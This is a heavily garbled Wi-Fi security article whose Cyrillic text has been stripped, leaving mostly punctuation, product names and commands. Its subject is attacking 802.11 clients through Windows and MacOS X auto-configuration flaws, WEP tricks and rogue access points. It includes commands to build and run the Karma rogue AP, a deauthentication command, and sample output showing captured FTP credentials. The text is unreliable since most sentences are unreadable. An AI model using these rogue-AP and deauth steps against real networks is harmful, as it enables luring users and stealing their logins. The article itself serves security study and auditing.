802.11i WPA- . , WPA- , " " , (DoS) OSI . , . , WPA-PSK 802.11 , WPA-802.1 (WPA-Industry) EAP (, EAP-TLS EAP-FAST) , "" . " " .
:
1. , .
2. .
3. IP , IP DNS DHCP.
4. ( ).
5. , , "" "" , .
2007- Wi-Fi. , . ( ) , - . , - , "" Probe Request "" . , "" . , . .
, . 802.11 ? ? ? Ka "" ESSID , WEP WPA ? , , . - Windows MacOS X.
" " (, Wireless Auto Configuration Algorithm) Windows XP Windows Server 2003.
802.11 - () (). , Probe Request . , . , , . ESSID, - " ", WEP WPA. , ?
1. Probe Request ESSID 802.11 .
2. , , . , .
3. , 802.11 , " ", Probe Request , . , ESSID. , . " " "" ESSID.
4. , Infrastructure . - . - .
5. - , , - IP , 169.254.0.0/16 (RFC 3330). , - .
6. - , " " ("Connect To Nonpreferred Networks"). , . , .
7. , "" 32- ESSID. 60 , . , , " " Probe Request ESSID , 802.11 .
, ESSID . " ."()
Windows XP Windows Server 2003.
. , " " ( 3 ), . , "" . , ( , , ). ESSID Probe Request , ESSID . - . WEP WPA , , - WLAN. . , Wi-Fi OSI , ( NoCat , Wi-Fi). "" ( 2- ) , . , . - . , WEP WPA-PSK . , - , ? , - !
. - ( , , - - ESSID ), Windows - , ( 5 ). , RFC 3330 , ARP ( "" NetBIOS ) IP ? , . .
, - , " ", " " Probe Request ESSID ( 7 ). , "" ESSID "". , ESSID, "", IP DHCP . , Longhorn, . : ESSID , , Windows XP. , - Wi-Fi , Windows IP . , , 802.11a/b/g Atheros Probe Request ESSID, , ESSID .
, , ESSID , ? , , WPA-PSK WPA-802.1 EAP-TLS, . WPA-802.1 EAP-TLS EAP-PEAP, , - Shmoo "he Radical Realm of Radius, 802.1x, and You" (
http://www.layerone.info/2005/presentation...f%20RADIUS.pdf ). EAP-TLS EAP-PEAP, , , ( "") Shmoo , PAP-PULL PAP-PEEK. ? - , , ! Windows . , "", (wIDS). , , EAP-MD5. hostapd , HostAP Jouni Malinen'a Prism 2 - 3 , RADIUS- . EAP-MD5 "Wi-".
802.11 , WEP. , "" WEP. - WEP , - RFC 3330 , 5 , WEP. , - " " - NetBIOS HELLO 2 . , WEP , WepAttack Christopher Devine's aireplay ( , - ARP ARP ).
- ESSID ( 7) WEP, "" , , , . , WPA- , WEP - . , , "" , 802.11 WEP . , challenge , XOR RC4 . , XOR , 144 RC4 (IV). . :
* challenge , RC4 24- WEP IV .
* WepAttack
* 144 WepWedgie . ARP , aireplay.
, , WEP, .
Wi-Fi , acOS , Linux - , .
"i" 802.11 . - . : " ", , smile.gif : , Acer' Windows XP Professional SP2, spyware. miniPCI 802.11 : " ", " ". , , , ( ). Wi-Fi , . Wi-Fi - (, ), . , - . , , , "".
. , - . , , Hermes II iwconfig. ESSID , . , 802.11 iwconfig [interface] up, ESSID , . Probe Request ESSID, . Probe Request , Cisco Aironet (RFMON) 2.4.14 . . (, APhunter APradar) iwlist [interface] scanning Probe Requests. "" , OSI . , , . Windows, DHCP , IP iwconfig. , , - Wi-Fi , APHopper . . IP , ARP , Ettercap, THC-wardrive . , 192.168.0.0./16 - . , , , HostAP (ESSID - "test"), madwifi Prism54g. , , .
, Windows MacOS X. , , Windows, .
MacOS X
, Windows MacOS X. , , Windows, . , Wi-Fi MacOS X. XML , /localhost/System/Library/DTDs/PropertyList.dtd. MacOS X 10.3.3, / , 2003- , . , , MacOS X DHCP IP , DNS , LDAP NetInfo , uid 0 . , MacOS X Windows, " ", " " " ". , .
, ? Windows, 60 , "" . Probe Request ESSID . / , , , . , AirPort, AirPort treme, "" o ESSID WEP. AirPort treme 802.11 , . ESSID AirPort , . "" - ESSID ( "dummy"). - ESSID .
. , Windows, Probe Request , . , ESSID "" AirPort . WEP , 40- WEP , 0x0102030405. , ( ) WEP (Shared Key Authentication), - . , AirPort - , 802.11 . , , XML . , MacOS X , " " Windows. , , 802.11b AirPort .
802.11 .
, - . " ". , "" (firmware) , "" "" ESSID 802.11 . Marvell Libertas ADMtek ADM8638 , Hermes I/II, Prism 2/2.5 . " ":
- "" Probe Response Probe Requests , (Probe Requests) (ANY) ESSID. .
- Probe Response , ESSID Probe Request' Probe Response. , , , MAC Probe Response , , MAC, . ESSID Probe Response .
, , ( DoS /!). , Probe Respons . . : , (100 "-" ), "", . "" ( ), , HostAP madwifi . reliawave , ,
http://www.demarctech.com/products/reliawa...-g-cardbus.html
http://www.demarctech.com/products/reliawa...cmcia-card.html
http://www.demarctech.com/products/reliawa...i-pci-card.html
, " ", "" - Probe Response MAC (ESSID !). , . "" , "Netgear WGR614 v4 wireless router", "Linksys WAP11 v2.8", D-Link Hermes I/II Prism 2/2.5 , . , - ESSID , Probe Request .
, " " , . , . , ? " , ?"() . , 802.11g , Atheros, Realtek rism54g. Hermes I/II Prism 2/2.5 . Lucent ORiNOCO Silver PCMCIA ? . ? . , . 802.11 , ISP-Wireless broadbandreports.com , Bugtraq, Packetstorm, CERT . , . , .
Sourceforge orinoco-devel 2003- , , , (Hermes I/II ) " ". " " . - ESSID , , . Lucent ORiNOCO Silver ( 8.72) ( orinoco_cs 0.13b). , Windows, , , . , (iwconfig eth1 mode managed) , " " . , , 802.11 , . , 802.11 Hermes I/II, Prism 2-2.5, Symbol Cisco Aironet, .
, . , - Intel Centrino. - Intel Pro Wireless 2200B/G . , ESSID, Intel Centrino , a "WXYZ" ( "Sony 802.11 Default SSID" Sony Intel Centrino). Centrino , Netgear WG511 ESSID "Netgear". , . Bugtraq , WEPe, WEP. :
1. WEP ESSID, Probe Request Intel Centrino .
2. Probe Response , , WEP , .
3. , WEP , "" "" WEP , , WEP .
, WEP . "WEP-Client-Communication-Dumbdown", " WEP ". .
802.11 , , . , , . , . , Karma tools, , , .
, 802.11 . , . , Probe Request , . . Probe Requests Probe Response , ESSID, . , "" Marvell Libertas ADMtek ADM8638 , x . , Probe Request , . , , Probe Response ( - ).
, Probe Request , ? 802.11 Windows iwlist [interface] scanning . , Probe Requests . PCMCIA Cisco Aironet , Probe Requests , , ip ifconfig. , 2.4.14, Cisco Aironet Probe Request (RFMON), , 802.11 . Cisco Aironet, Probe Requests , Windows, . , <=> 802.11 . , , "" . DoS , fata_jack.
, , "" ESSID . , . , - - - - ESSID. "" ? , ESSID, . , Probe Request ESSID (ANY), , ESSID. , , .
, "" . , DHCP DNS IP . "" IP . , ( , , mail.ru, ), SMTP, POP3, IMAP, FTP... . , , , . , , , .
, , Probe Request ESSID . Kismet, Aircrack airodump Ethereal/tcpdump. , Ethereal/tcpdump , . ( ESSID) , , ( ). DHCP, DNS , , IP forwarding . , , . , .
, , Hotspotter , 802.11 Wellenreiter, - . Hotspotter - ESSID HOTSPOTLIST, ESSID . , ESSID. ESSID , ESSID . Hotspotter - -r , Prism 2-2.5 ( HostAP) Connexant ( Prism54g). , Hotspotter . , , , , Security Auditor CD .
Shmoo ( Airsnort RFMON Orinoco !) Airsnarf (
http://airsnarf.shmoo.com/ ). Airsnarf - , ./cfg/airsnarf.cfg HostAP Prism 2-2.5 . Apache, iptables, DHCP , sendmail Net::DNS Perl . , Airsnarf sendmail . , HTML , . Hotspotter, Airsnarf Security Auditor , , ( - !). , "" ESSID ( ), - . , , Hotspotter/Airsnarf , ESSID .
Hotspotter, ProbeMapper ThinkSECURE . ProbeMapper , :
arhontus # probemapper -i eth1 -s
------------------------------------------------------------------------------
ProbeMapper at your service ./probemapper v0.5
2005 Christopher Low / c.low[-at-]securitystartshere.net
-------------------------------------------------------------------------------
Client MAC Associated ESSID Enc Auth Pkts Rate(pkts/min)
00:04:e2:80:8c:ca N t-mobile unknown unknown 45 38.97
wireless WEP unknown 58 35.24
, , (t-mobile) - , OSI . probemapper -i eth1 -t . Probemapper "Would you like to act as an AP for ssid t-mobile [y|N]:". , , "y". , . ESSID, N , . , Probemapper - , - irsnarf .
Probemapper , . , ESSID. , Probemapper Connexant (Prism54g) , PCMCIA . Connexant PCMCIA , 32-bit Cardbus Senao NL-3054CB, Netgear WG511, Zyxel G-100 G-110, Zcom XG-300/302 Sitecom WL-100. Connexant 802.11b/g USB , Probemapper. PCMCIA Senao NL-3054CB.
! Karma tools Atheros , , 802.11 . Karma tools madwifi, madwifi-ng . "" , , madwifi:
arhontus# svn checkout -r '{20060124}'
http://svn.madwifi.org/branches/madwifi-old madwifi
arhontus# patch -p0 < madwifi-KARMA-20060124.diff
arhontus# cd madwifi && make && make install
Karma tools tc/karma.xml, :
ESSID arma . , Karma tools. EXAMPLE-WEB-EXPLOIT - -, . , , Samba (samba.patch) , . :
1. RFMON: bin/monitor-mode.sh ath0
2. src : src/karma ath0 ( , airodump ath0 , )
3. , , bin: bin/karma etc/karma.xml. :
Starting KARMA...
Loading config file etc/karma.xml
ACCESS-POINT is running
DNS-SERVER is running
DHCP-SERVER is running
AccessPoint: 00:04:e2:80:8c:ca associated with SSID arhont-test
POP3-SERVER is running
FTP-SERVER is running
[2006-03-29 21:25:37] INFO WEBrick 1.3.1
[2006-03-29 21:25:37] INFO ruby 1.8.4 (2005-12-24) [i686-linux]
[2006-03-29 21:25:37] INFO WEBrick::HTTPServer#start: pid=26149 port=80
HTTP-SERVER is running
CONTROLLER-SERVLET is running
EXAMPLE-WEB-EXPLOIT is running
Delivering judicious KARMA, hit Control-C to quit.
DNS: 169.254.0.254.32776: 9720 IN::A
www.google.com
DNS: 169.254.0.254.32776: 64608 IN::PTR 7.133.254.169.in-addr.arpa
DNS: 169.254.0.254.32776: 3513 IN::AAAA
www.arhont.com
DNS: 169.254.0.254.32776: 6277 IN::AAAA
www.arhont.com.dmz.arhont.com
DNS: 169.254.0.254.32776: 58987 IN::AAAA
www.arhont.com.arhont.com
DNS: 169.254.0.254.32776: 48417 IN::A
www.arhont.com
169.254.0.254 - - [29/Mar/2006:21:27:07 BST] "GET /example HTTP/1.0"
301 48 - -> /example
DNS: 169.254.0.254.32776: 18218 IN::AAAA
www.arhont.com
DNS: 169.254.0.254.32776: 26478 IN::AAAA
www.arhont.com.dmz.arhont.com
DNS: 169.254.0.254.32776: 27220 IN::AAAA
www.arhont.com.arhont.com
DNS: 169.254.0.254.32776: 14906 IN::A
www.arhont.com
169.254.0.254 - - [29/Mar/2006:21:28:01 BST] "GET / HTTP/1.0" 301 30
FTP: 169.254.0.254 test/password
AccessPoint: 00:04:e2:80:9:23 associated with SSID t-mobile
AccessPoint: 00:04:e2:74:22:c5 associated with SSID ll your base
, , MAC (e.g. "AccessPoint: 00:04:e2:74:22:c5 associated with SSID ll your base"), Google ( - , :-) , FTP (test/password). Ka , dhcpcd IP RFC 3033 , ( IP 169.254.133.7) .
. Karma tools "", , "Broken pipe" "undefined method" - arma , . , . , Karma tools b/g, a/b/g , , 3 . , Karma tools :
ACCESS-POINT is running
Error for wireless request "Set Frequency" (8B04) :
SET failed on device ath0 ; Invalid argument.
, 802.11 ( ). ,
arhontus# iwconfig ath0
ath0 IEEE 802.11a ESSID:"karma" Nickname:""
Mode:Master Frequency:5.18 GHz Access Point: 00:07:CD:64:E7:AE
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3
iwconfig freq iwconfig channel , iwpriv mode 2. , 802.11b/g :
arhontus# iwconfig ath0
ath0 IEEE 802.11b ESSID:"karma" Nickname:""
Mode:Master Frequency:2.412 GHz Access Point: 00:07:CD:64:E7:AE
iwconfig txpower mW iwconfig sens / ( 3/3) bin/karma etc/karma.xml . , :
arhontus# netstat -plan | grep ruby
tcp 0 0 169.254.133.7:110 0.0.0.0:* LISTEN 20640/ruby
tcp 0 0 169.254.133.7:80 0.0.0.0:* LISTEN 20640/ruby
tcp 0 0 169.254.133.7:21 0.0.0.0:* LISTEN 20640/ruby
udp 0 0 169.254.133.7:53 0.0.0.0:* 20640/ruby
!
, Karma tools HostAP Prism 2-2.5 ( ath0 wlan0 karma.xml). ESSID . , 16- Probe Request , . ESSID Probe Request , Atheros madwifi.patch. , Prism 2-2.5 HostAP Karma tools .
. , , Karma tools . , Atheros , , , aireplay Aircrack (aireplay -a -c -0 < > ath0). , Karma tools "" WEP (. " WEP "). , Karma tools "" -, . iwconfig ath0 mode ad-hoc aireplay -0 Orinoco , . , .
, . , , WPA, WPA Industry 802.1 (EAP-TLS), . IDS / - , DoS . (32-bit Cardbus, , MAC ) . , - , / . , . , - , , , ... , , , , .